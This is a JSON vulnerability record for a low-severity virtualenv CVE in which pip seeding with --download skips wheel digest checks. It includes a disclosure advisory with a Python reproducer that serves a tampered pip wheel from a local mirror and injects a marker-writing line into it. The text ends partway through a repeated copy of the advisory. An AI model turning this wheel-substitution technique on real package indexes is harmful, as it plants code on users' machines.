{"id":"CVE-2026-113717","aliases":["AZL-112586","BIT-virtualenv-2026-113717","CLSA-2026-1793107254","DEBIAN-CVE-2026-113717","EUVD-2026-105298","GHSA-cx28-75q4-x26q","UBUNTU-CVE-2026-113717"],"status":"published","title":"virtualenv: Pip seeding with download omits wheel digest verification","description":"virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, PipInvoke.get_pip_install_cmd() handles --seeder pip --download by calling get_wheel(download=False) and then allowing pip to consult the configured index, bypassing virtualenv's download_wheel() and verify_wheel_digest() path. When virtualenv's default-index PyPI digest comparison remains enabled, an index candidate matching the bundled package and version can therefore be selected without comparison to PyPI SHA-256 metadata. Explicit custom-index settings already opt out of that comparison and remain outside this verification-bypass claim; the demonstrated configuration used a non-PyPI index while leaving the index environment variables unset so the comparison policy remained active. This condition does not independently defeat TLS or establish control of the index response. This issue is fixed in version 21.14.9.","severity":{"version":"4.0","score":2.3,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","level":"low","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00293,"percentile":0.22142,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-494"],"published":"2026-10-20T19:22:11Z","modified":"2026-11-05T14:17:11Z","fixes":[{"ecosystem":"PyPI","package":"virtualenv","fixed_in":["21.14.9"],"sources":["ghsa","osv"]},{"ecosystem":"Bitnami","package":"virtualenv","fixed_in":["21.14.9"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"virtualenv","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"21.14.9"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"python-virtualenv","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"20.36.1-10"}]}]},{"source":"osv","ecosystem":"Bitnami","package":"virtualenv","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"21.14.9"}]}]},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"virtualenv","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"20.39.1"},{"fixed":"20.39.1.post5+tuxcare"}]}],"versions":["20.39.1","20.39.1.post1+tuxcare","20.39.1.post2+tuxcare","20.39.1.post3+tuxcare","20.39.1.post4+tuxcare"],"bundled":8},{"source":"osv","ecosystem":"Debian:12","package":"python-virtualenv","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["20.17.1+ds-1","20.19.0+ds-1","20.21.0+ds-1","20.23.0+ds-1","20.23.0+ds-2","20.24.1+ds-1","20.24.6+ds-1","20.24.6+ds-2","20.25.0+ds-1","20.25.0+ds-2","20.25.1+ds-1","20.26.1+ds-1","20.26.2+ds-1","20.26.6+ds-1","20.27.0+ds-1","20.28.0+ds-1","20.29.1+ds-1","20.29.3+ds-1","20.30.0+ds-1","20.30.0+ds-2","20.30.0+ds-3","20.31.2+ds-1","20.33.1+ds-1","20.34.0+ds-1","20.35.3+ds-1","20.35.4+ds-1","20.36.1+ds-1","20.38.0+ds-1","21.2.0+ds-1","21.2.4+ds-1","21.3.1+ds-1","21.4.1+ds-1","21.5.1+ds-1"]},{"source":"osv","ecosystem":"Debian:13","package":"python-virtualenv","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["20.31.2+ds-1","20.31.2+ds-1+deb13u1","20.33.1+ds-1","20.34.0+ds-1","20.35.3+ds-1","20.35.4+ds-1","20.36.1+ds-1","20.38.0+ds-1","21.2.0+ds-1","21.2.4+ds-1","21.3.1+ds-1","21.4.1+ds-1","21.5.1+ds-1"]},{"source":"osv","ecosystem":"Debian:14","package":"python-virtualenv","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["20.31.2+ds-1","20.33.1+ds-1","20.34.0+ds-1","20.35.3+ds-1","20.35.4+ds-1","20.36.1+ds-1","20.38.0+ds-1","21.2.0+ds-1","21.2.4+ds-1","21.3.1+ds-1","21.4.1+ds-1","21.5.1+ds-1"]},{"source":"osv","ecosystem":"PyPI","package":"virtualenv","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"21.14.9"}]}],"versions":["0.8","0.8.1","0.8.2","0.8.3","0.8.4","0.9","0.9.1","0.9.2","1.0","1.1","1.10","1.10.1","1.11","1.11.1","1.11.2","1.11.3","1.11.4","1.11.5","1.11.6","1.2","1.3","1.3.1","1.3.2","1.3.3","1.3.4","1.4","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.4.9","1.4rc1","1.5","1.5.1","1.5.2","1.6","1.6.1","1.6.2","1.6.3","1.6.4","1.7","1.7.1","1.7.1.1","1.7.1.2","1.7.2","1.8","1.8.1","1.8.2","1.8.3","1.8.4","1.9","1.9.1","12.0","12.0.1","12.0.2","12.0.4","12.0.5","12.0.6","12.0.7","12.1.0","12.1.1","13.0.0","13.0.1","13.0.2","13.0.3","13.1.0","13.1.1","13.1.2","14.0.0","14.0.1","14.0.2","14.0.3","14.0.4","14.0.5","14.0.6","15.0.0","15.0.1","15.0.2","15.0.3","15.1.0","15.2.0","16.0.0","16.1.0","16.2.0","16.3.0","16.3.1.dev0","16.4.0","16.4.1","16.4.3","16.4.4.dev0","16.5.0","16.6.0","16.6.1","16.6.2","16.7.0","16.7.1","16.7.10","16.7.11","16.7.12","16.7.2","16.7.3","16.7.4","16.7.5","16.7.6","16.7.7","16.7.8","16.7.9","20.0.0","20.0.0b1","20.0.0b2","20.0.1","20.0.10","20.0.11","20.0.12","20.0.13","20.0.14","20.0.15","20.0.16","20.0.17","20.0.18","20.0.19","20.0.2","20.0.20","20.0.21","20.0.22","20.0.23","20.0.24","20.0.25","20.0.26","20.0.27","20.0.28","20.0.29","20.0.3","20.0.30","20.0.31","20.0.32","20.0.33","20.0.34","20.0.35","20.0.4","20.0.5","20.0.6","20.0.7","20.0.8","20.0.9","20.1.0","20.10.0","20.11.0","20.11.1","20.11.2","20.12.0","20.12.1","20.13.0","20.13.1","20.13.2","20.13.3","20.13.4","20.14.0","20.14.1","20.15.0","20.15.1","20.16.0","20.16.1","20.16.2","20.16.3","20.16.4","20.16.5","20.16.6","20.16.7","20.17.0","20.17.1","20.18.0","20.19.0","20.2.0","20.2.1","20.2.2","20.20.0","20.21.0","20.21.1","20.22.0","20.23.0","20.23.1","20.24.0","20.24.1","20.24.2","20.24.3","20.24.4","20.24.5","20.24.6","20.24.7","20.25.0","20.25.1","20.25.2","20.25.3","20.26.0","20.26.1","20.26.2","20.26.3","20.26.4","20.26.5","20.26.6","20.27.0","20.27.1","20.28.0","20.28.1","20.29.0","20.29.1","20.29.2","20.29.3","20.3.0","20.3.1","20.30.0","20.31.0","20.31.1","20.31.2","20.32.0","20.33.0","20.33.1","20.34.0","20.35.0","20.35.1","20.35.2","20.35.3","20.35.4","20.36.0","20.36.1","20.38.0","20.39.0","20.39.1","20.4.0","20.4.1","20.4.2","20.4.3","20.4.4","20.4.5","20.4.6","20.4.7","20.5.0","20.6.0","20.7.0","20.7.1","20.7.2","20.8.0","20.8.1","20.9.0","21.0.0","21.1.0","21.10.0","21.11.0","21.11.1","21.12.0","21.12.1","21.13.0","21.14.0","21.14.1","21.14.2","21.14.3","21.14.4","21.14.5","21.14.6","21.14.7","21.14.8","21.2.0","21.2.1","21.2.2","21.2.3","21.2.4","21.3.0","21.3.1","21.3.2","21.3.3","21.4.0","21.4.1","21.4.2","21.4.3","21.5.0","21.5.1","21.5.2","21.6.0","21.6.1","21.7.0","21.7.1","21.7.10","21.7.11","21.7.12","21.7.13","21.7.14","21.7.15","21.7.16","21.7.2","21.7.3","21.7.4","21.7.5","21.7.6","21.7.7","21.7.8","21.7.9","21.8.1","21.9.0","21.9.1"]},{"source":"osv","ecosystem":"Ubuntu:14.04:LTS","package":"python-virtualenv","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.10.1-1","1.11-1","1.11-2","1.11.4-1","1.11.4-1ubuntu1"]},{"source":"osv","ecosystem":"Ubuntu:16.04:LTS","package":"python-virtualenv","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.11.6+ds-1","14.0.5+ds-1","14.0.5+ds-2","14.0.5+ds-4","15.0.0+ds-1","15.0.0+ds-2","15.0.1+ds-1","15.0.1+ds-2","15.0.1+ds-3","15.0.1+ds-3ubuntu1","15.0.1+ds-3ubuntu1.1"]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"python-virtualenv","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["15.1.0+ds-1","15.1.0+ds-1.1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"python-virtualenv","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["15.1.0+ds-2","15.1.0+ds-2build1","15.1.0+ds-2ubuntu1","20.0.13-1","20.0.17-1","20.0.17-1ubuntu0.3","20.0.17-1ubuntu0.4","20.0.17-1ubuntu0.4+esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:22.04:LTS","package":"python-virtualenv","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["20.4.6+ds-2","20.10.0+ds-1","20.12.1+ds-1","20.13.0+ds-1","20.13.0+ds-2","20.13.0+ds-2ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:24.04:LTS","package":"python-virtualenv","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["20.24.1+ds-1","20.24.6+ds-1","20.24.6+ds-2","20.25.0+ds-1","20.25.0+ds-2","20.25.0+ds-2ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"python-virtualenv","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["20.36.1+ds-1","21.4.1+ds-1","21.5.1+ds-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"python-virtualenv","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["20.31.2+ds-1","20.35.3+ds-1","20.35.4+ds-1","20.36.1+ds-1"]}],"products":[{"vendor":"pypa","product":"virtualenv"}],"references":[{"url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-cx28-75q4-x26q","tags":["x_refsource_CONFIRM","exploit","web","advisory","report"]},{"url":"https://github.com/pypa/virtualenv/pull/3430","tags":["x_refsource_MISC","web","fix","report"]},{"url":"https://github.com/pypa/virtualenv/commit/7babec66e043e1cc8bc66869a063653898719d96","tags":["x_refsource_MISC","web","fix"]},{"url":"https://github.com/pypa/virtualenv/releases/tag/21.14.9","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113717","tags":["web","advisory"]},{"url":"https://github.com/advisories/GHSA-cx28-75q4-x26q"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/113xxx/CVE-2026-113717.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-113717","tags":["advisory"]},{"url":"https://github.com/pypa/virtualenv","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-113717","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-113717","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-113717","title":"virtualenv: Pip seeding with download omits wheel digest verification","description":"virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, PipInvoke.get_pip_install_cmd() handles --seeder pip --download by calling get_wheel(download=False) and then allowing pip to consult the configured index, bypassing virtualenv's download_wheel() and verify_wheel_digest() path. When virtualenv's default-index PyPI digest comparison remains enabled, an index candidate matching the bundled package and version can therefore be selected without comparison to PyPI SHA-256 metadata. Explicit custom-index settings already opt out of that comparison and remain outside this verification-bypass claim; the demonstrated configuration used a non-PyPI index while leaving the index environment variables unset so the comparison policy remained active. This condition does not independently defeat TLS or establish control of the index response. This issue is fixed in version 21.14.9.","status":"published","published":"2026-10-20T19:22:11.265Z","modified":"2026-10-20T19:32:57.649Z","cvss":[{"version":"4.0","score":2.3,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","level":"low","assessor":"cna"}],"cwes":["CWE-494"],"updated_at":"2026-11-02T13:44:18.366073Z"}],"euvd":[{"id":"EUVD-2026-105298","description":"virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, PipInvoke.get_pip_install_cmd() handles --seeder pip --download by calling get_wheel(download=False) and then allowing pip to consult the configured index, bypassing virtualenv's download_wheel() and verify_wheel_digest() path. When virtualenv's default-index PyPI digest comparison remains enabled, an index candidate matching the bundled package and version can therefore be selected without comparison to PyPI SHA-256 metadata. Explicit custom-index settings already opt out of that comparison and remain outside this verification-bypass claim; the demonstrated configuration used a non-PyPI index while leaving the index environment variables unset so the comparison policy remained active. This condition does not independently defeat TLS or establish control of the index response. This issue is fixed in version 21.14.9.","status":"published","published":"2026-10-20T19:22:11Z","modified":"2026-10-20T19:32:57Z","cvss":[{"version":"4.0","score":2.3,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","level":"low"}],"updated_at":"2026-11-02T16:59:42.590373Z"}],"ghsa":[{"id":"GHSA-cx28-75q4-x26q","title":"virtualenv: Pip seeding with download omits wheel digest verification","description":"## Summary\n\nThe pip seeder acquires bundled wheels with download=False and lets pip access the index when --download is selected.\nIndex candidates on that path do not pass through virtualenv's wheel digest verification.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-74ALJBUF` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nWheel selection by the pip seeder when downloads are enabled.\n\n## Attacker-controlled input\n\nThe pip seeder and download option must be selected. The finding concerns the default-index digest-verification policy.\nExplicit custom-index settings already opt out of comparison against PyPI metadata; this patch retains that policy.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[pip seeder](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/pip_invoke.py).\n\n## Mechanism\n\nWith `--seeder pip --download`, `PipInvoke.get_pip_install_cmd()` first calls `get_wheel(download=False)`, so\nvirtualenv's `download_wheel()` and `verify_wheel_digest()` are skipped. It then lets `pip install` consult the\nconfigured index. An index wheel with the same package and version as the bundled wheel can be selected without\nvirtualenv comparing its SHA-256 with PyPI metadata. The default app-data seeder takes the verification path for the\nsame option.\n\n## Reproduction and evidence\n\nThe scanner built a local index named in `pip.conf` that served a modified copy of the bundled pip wheel under the same\nfilename. In the control run, `virtualenv --download env-default` rejected the wheel with a digest mismatch. In the\nsecond run, adding `--seeder pip` produced an environment whose installed `pip/__init__.py` matched the index wheel;\n`env-pip/bin/pip --version` ran the added line. The reproducer checked the installed bytes and marker before reporting\n`BUG`.\n\nBoth `--seeder pip` and `--download` are needed. The report used a non-PyPI index from `pip.conf` and left\n`PIP_INDEX_URL`, `PIP_EXTRA_INDEX_URL`, and `PIP_INDEX` unset, so virtualenv's default-seeder PyPI comparison remained\nactive. This does not establish index control in the default PyPI setup. The unchecked pip-seeder download path is\nolder, while the comparison with the default seeder arose when digest verification was added in 21.7.12.\n[PR #3430](https://github.com/pypa/virtualenv/pull/3430) acquires and verifies selected wheels before invoking pip with\nindex lookup disabled.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant I as Index in pip.conf\n    participant V as virtualenv PipInvoke\n    participant P as pip install\n    participant E as Seeded environment\n    I-\u003e\u003eV: serve modified pip wheel\n    V-\u003e\u003eV: get_wheel(download=False)\n    V-\u003e\u003eP: install with --download permitting index lookup\n    P-\u003e\u003eI: select same-version index wheel\n    I-\u003e\u003eE: modified pip installed without virtualenv digest check\n    E-\u003e\u003eE: later pip invocation runs added code\n    Note over V,E: Default app-data seeder rejects the same digest\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-74ALJBUF`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport glob\nimport hashlib\nimport json\nimport os\nimport shutil\nimport subprocess\nimport sys\nimport zipfile\n\nfrom virtualenv.seed.wheels.embed import get_embed_wheel\n\ncompanions = \"/tmp/repro.d\"\nwork = \"/tmp/repro-pip-seeder-download\"\nshutil.rmtree(work, ignore_errors=True)\nos.makedirs(work)\n\n# set up: the pip wheel virtualenv bundles, and PyPI's record of its sha256 (served by virtualenv_offline.py: no network)\nbundled = get_embed_wheel(\"pip\", f\"{sys.version_info.major}.{sys.version_info.minor}\")\npypi_sha256 = hashlib.sha256(open(bundled.path, \"rb\").read()).hexdigest()\npypi_release = {\"filename\": bundled.name, \"digests\": {\"sha256\": pypi_sha256}}\nos.makedirs(f\"{work}/pypi.org/pypi/pip\")\nwith open(f\"{work}/pypi.org/pypi/pip/json\", \"w\") as pypi_json:\n    json.dump({\"releases\": {bundled.version: [pypi_release]}}, pypi_json)\n\n# attacker: the mirror serves other bytes under the bundled wheel's own file name\nmarker = f\"{work}/MIRROR_CODE_RAN\"\nsubprocess.run([sys.executable, f\"{companions}/make_mirror.py\", str(bundled.path), f\"{work}/mirror\", marker], check=True)\nmirror_wheel = f\"{work}/mirror/pip/{bundled.name}\"\nmirror_sha256 = hashlib.sha256(open(mirror_wheel, \"rb\").read()).hexdigest()\nprint(f\"{bundled.name}: PyPI publishes sha256 {pypi_sha256}\")\nprint(f\"{bundled.name}: the mirror serves  sha256 {mirror_sha256}\")\n\n# user: pip.conf names the mirror; PIP_INDEX_URL, PIP_EXTRA_INDEX_URL and PIP_INDEX (which turn the check off) are unset\nwith open(f\"{work}/pip.conf\", \"w\") as pip_conf:\n    pip_conf.write(f\"[global]\\nindex-url = file://{work}/mirror\\n\")  # file:// stands in for the mirror's http URL\nos.makedirs(f\"{work}/home-default\")\nos.makedirs(f\"{work}/home-pip\")  # one HOME per run, so neither sees the other's app-data or pip cache\nvirtualenv = [sys.executable, f\"{companions}/virtualenv_offline.py\", f\"{work}/pypi.org\", \"--no-periodic-update\"]\n\n# control: the default seeder with --download fetches the mirror's wheel and refuses it\ndefault_seeder = subprocess.run(\n    [*virtualenv, \"--download\", f\"{work}/env-default\"],\n    env={**os.environ, \"HOME\": f\"{work}/home-default\", \"PIP_CONFIG_FILE\": f\"{work}/pip.conf\"},\n    capture_output=True,\n    text=True,\n)\nrefusal = [line for line in default_seeder.stdout.splitlines() if line.startswith(\"RuntimeError: \")]\nprint(f\"\\nCONTROL  virtualenv --download env-default: exit {default_seeder.returncode}\")\nprint(\"\\n\".join(refusal))\n\n# trigger: the same command plus --seeder pip\npip_seeder = subprocess.run(\n    [*virtualenv, \"--download\", \"--seeder\", \"pip\", f\"{work}/env-pip\"],\n    env={**os.environ, \"HOME\": f\"{work}/home-pip\", \"PIP_CONFIG_FILE\": f\"{work}/pip.conf\"},\n    capture_output=True,\n    text=True,\n)\nprint(f\"\\nOBSERVED virtualenv --download --seeder pip env-pip: exit {pip_seeder.returncode}\")\nprint(pip_seeder.stdout)\nif pip_seeder.returncode == 0:\n    env_pip = subprocess.run([f\"{work}/env-pip/bin/pip\", \"--version\"], capture_output=True, text=True, check=True)\n    print(f\"$ env-pip/bin/pip --version\\n{env_pip.stdout}\")\n\n# check: compare env-pip's pip/__init__.py with the one in each wheel\nwith zipfile.ZipFile(bundled.path) as wheel:\n    bundled_init = wheel.read(\"pip/__init__.py\")\nwith zipfile.ZipFile(mirror_wheel) as wheel:\n    mirror_init = wheel.read(\"pip/__init__.py\")\ninstalled = glob.glob(f\"{work}/env-pip/lib/python*/site-packages/pip/__init__.py\")\ninstalled_init = open(installed[0], \"rb\").read() if installed else b\"\"\nrefusal_message = f\"has sha256 {mirror_sha256}, but PyPI reports {pypi_sha256}\"\nrefused = default_seeder.returncode != 0 and refusal_message in default_seeder.stdout\nprint(f\"default seeder refused the mirror's wheel for its digest: {refused}\")\nprint(f\"env-pip's pip/__init__.py is the bundled wheel's: {installed_init == bundled_init}, the mirror's: {installed_init == mirror_init}\")\nprint(f\"the mirror's line ran on env-pip/bin/pip --version: {os.path.exists(marker)}\")\nprint(\"BUG\" if refused and installed_init == mirror_init and os.path.exists(marker) else \"OK\")\n```\n\n**`repro.d/make_mirror.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: make_mirror.py \u003cgenuine pip wheel\u003e \u003cmirror directory\u003e \u003cmarker file the payload writes\u003e\nimport os\nimport sys\nimport zipfile\n\ngenuine_wheel, mirror, marker = sys.argv[1:]\nwheel_name = os.path.basename(genuine_wheel)\npayload = f\"\\nopen({marker!r}, 'w').write('mirror code ran')\\n\"\n\nos.makedirs(f\"{mirror}/pip\")\nwith zipfile.ZipFile(genuine_wheel) as genuine, zipfile.ZipFile(f\"{mirror}/pip/{wheel_name}\", \"w\") as served:\n    for entry in genuine.infolist():\n        data = genuine.read(entry)\n        if entry.filename == \"pip/__init__.py\":\n            data += payload.encode()\n        served.writestr(entry, data)\n\n# PEP 503 project page; pip reads \u003cindex\u003e/pip/index.html for a file:// index\nwith open(f\"{mirror}/pip/index.html\", \"w\") as page:\n    page.write(f'\u003ca href=\"{wheel_name}\"\u003e{wheel_name}\u003c/a\u003e\\n')\n```\n\n**`repro.d/virtualenv_offline.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: virtualenv_offline.py \u003cdirectory standing in for https://pypi.org\u003e \u003cvirtualenv arguments...\u003e\n# The `virtualenv` command, except that the PyPI JSON API request (the source of the digest the default seeder\n# checks) is answered from a local file, as tests/unit/seed/wheels/test_periodic_update.py does. pip is not touched.\nimport sys\n\nfrom virtualenv.__main__ import run_with_catch\nfrom virtualenv.seed.wheels import periodic_update\n\npypi_org = sys.argv[1]\n\n\ndef pypi_json_api(url, context=None):\n    return open(url.replace(\"https://pypi.org\", pypi_org), \"rb\")\n\n\nperiodic_update.urlopen = pypi_json_api\nrun_with_catch(sys.argv[2:])\n```\n\n## Impact\n\nThe default-index digest-verification step can be omitted when the pip seeder downloads packages. This does not by\nitself defeat TLS or establish control of an index response.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix acquires wheels through the shared verification path and installs pinned names with index lookup\ndisabled. A private temporary directory contains only the selected archives. This preserves version pins in pip freeze\noutput.\n\nFix: [PR #3430](https://github.com/pypa/virtualenv/pull/3430).\n\n## Known mitigation\n\nOn older releases, use embedded wheels without downloads, or acquire and verify approved seed archives\nseparately.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic's OSS Scanner as ANT-2026-74ALJBUF.","status":"published","published":"2026-10-23T22:26:04Z","modified":"2026-10-23T22:26:05Z","cvss":[{"version":"4.0","score":2.3,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","level":"low"}],"cwes":["CWE-494"],"updated_at":"2026-11-02T14:41:36.858527Z"}],"nvd":[{"id":"CVE-2026-113717","description":"virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, PipInvoke.get_pip_install_cmd() handles --seeder pip --download by calling get_wheel(download=False) and then allowing pip to consult the configured index, bypassing virtualenv's download_wheel() and verify_wheel_digest() path. When virtualenv's default-index PyPI digest comparison remains enabled, an index candidate matching the bundled package and version can therefore be selected without comparison to PyPI SHA-256 metadata. Explicit custom-index settings already opt out of that comparison and remain outside this verification-bypass claim; the demonstrated configuration used a non-PyPI index while leaving the index environment variables unset so the comparison policy remained active. This condition does not independently defeat TLS or establish control of the index response. This issue is fixed in version 21.14.9.","status":"published","published":"2026-10-20T20:17:18.017Z","modified":"2026-10-22T16:47:38.403Z","cvss":[{"version":"4.0","score":2.3,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"low","assessor":"secondary"}],"cwes":["CWE-494"],"updated_at":"2026-11-02T14:13:01.161484Z"}],"osv":[{"id":"CVE-2026-113717","title":"virtualenv: Pip seeding with download omits wheel digest verification","description":"virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, PipInvoke.get_pip_install_cmd() handles --seeder pip --download by calling get_wheel(download=False) and then allowing pip to consult the configured index, bypassing virtualenv's download_wheel() and verify_wheel_digest() path. When virtualenv's default-index PyPI digest comparison remains enabled, an index candidate matching the bundled package and version can therefore be selected without comparison to PyPI SHA-256 metadata. Explicit custom-index settings already opt out of that comparison and remain outside this verification-bypass claim; the demonstrated configuration used a non-PyPI index while leaving the index environment variables unset so the comparison policy remained active. This condition does not independently defeat TLS or establish control of the index response. This issue is fixed in version 21.14.9.","status":"published","published":"2026-10-20T19:22:11.265Z","modified":"2026-10-29T10:55:56.839709622Z","cvss":[{"version":"4.0","score":2.3,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","level":"low"}],"cwes":["CWE-494"],"updated_at":"2026-11-02T15:44:56.310988Z"},{"id":"DEBIAN-CVE-2026-113717","description":"virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, PipInvoke.get_pip_install_cmd() handles --seeder pip --download by calling get_wheel(download=False) and then allowing pip to consult the configured index, bypassing virtualenv's download_wheel() and verify_wheel_digest() path. When virtualenv's default-index PyPI digest comparison remains enabled, an index candidate matching the bundled package and version can therefore be selected without comparison to PyPI SHA-256 metadata. Explicit custom-index settings already opt out of that comparison and remain outside this verification-bypass claim; the demonstrated configuration used a non-PyPI index while leaving the index environment variables unset so the comparison policy remained active. This condition does not independently defeat TLS or establish control of the index response. This issue is fixed in version 21.14.9.","status":"published","published":"2026-10-20T20:17:18.017Z","modified":"2026-10-23T18:05:10.563807228Z","cvss":[{"version":"4.0","score":2.3,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"low"}],"updated_at":"2026-11-02T15:45:50.391389Z"},{"id":"GHSA-cx28-75q4-x26q","title":"virtualenv: Pip seeding with download omits wheel digest verification","description":"## Summary\n\nThe pip seeder acquires bundled wheels with download=False and lets pip access the index when --download is selected.\nIndex candidates on that path do not pass through virtualenv's wheel digest verification.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-74ALJBUF` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nWheel selection by the pip seeder when downloads are enabled.\n\n## Attacker-controlled input\n\nThe pip seeder and download option must be selected. The finding concerns the default-index digest-verification policy.\nExplicit custom-index settings already opt out of comparison against PyPI metadata; this patch retains that policy.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[pip seeder](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/pip_invoke.py).\n\n## Mechanism\n\nWith `--seeder pip --download`, `PipInvoke.get_pip_install_cmd()` first calls `get_wheel(download=False)`, so\nvirtualenv's `download_wheel()` and `verify_wheel_digest()` are skipped. It then lets `pip install` consult the\nconfigured index. An index wheel with the same package and version as the bundled wheel can be selected without\nvirtualenv comparing its SHA-256 with PyPI metadata. The default app-data seeder takes the verification path for the\nsame option.\n\n## Reproduction and evidence\n\nThe scanner built a local index named in `pip.conf` that served a modified copy of the bundled pip wheel under the same\nfilename. In the control run, `virtualenv --download env-default` rejected the wheel with a digest mismatch. In the\nsecond run, adding `--seeder pip` produced an environment whose installed `pip/__init__.py` matched the index wheel;\n`env-pip/bin/pip --version` ran the added line. The reproducer checked the installed bytes and marker before reporting\n`BUG`.\n\nBoth `--seeder pip` and `--download` are needed. The report used a non-PyPI index from `pip.conf` and left\n`PIP_INDEX_URL`, `PIP_EXTRA_INDEX_URL`, and `PIP_INDEX` unset, so virtualenv's default-seeder PyPI comparison remained\nactive. This does not establish index control in the default PyPI setup. The unchecked pip-seeder download path is\nolder, while the comparison with the default seeder arose when digest verification was added in 21.7.12.\n[PR #3430](https://github.com/pypa/virtualenv/pull/3430) acquires and verifies selected wheels before invoking pip with\nindex lookup disabled.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant I as Index in pip.conf\n    participant V as virtualenv PipInvoke\n    participant P as pip install\n    participant E as Seeded environment\n    I-\u003e\u003eV: serve modified pip wheel\n    V-\u003e\u003eV: get_wheel(download=False)\n    V-\u003e\u003eP: install with --download permitting index lookup\n    P-\u003e\u003eI: select same-version index wheel\n    I-\u003e\u003eE: modified pip installed without virtualenv digest check\n    E-\u003e\u003eE: later pip invocation runs added code\n    Note over V,E: Default app-data seeder rejects the same digest\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-74ALJBUF`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` 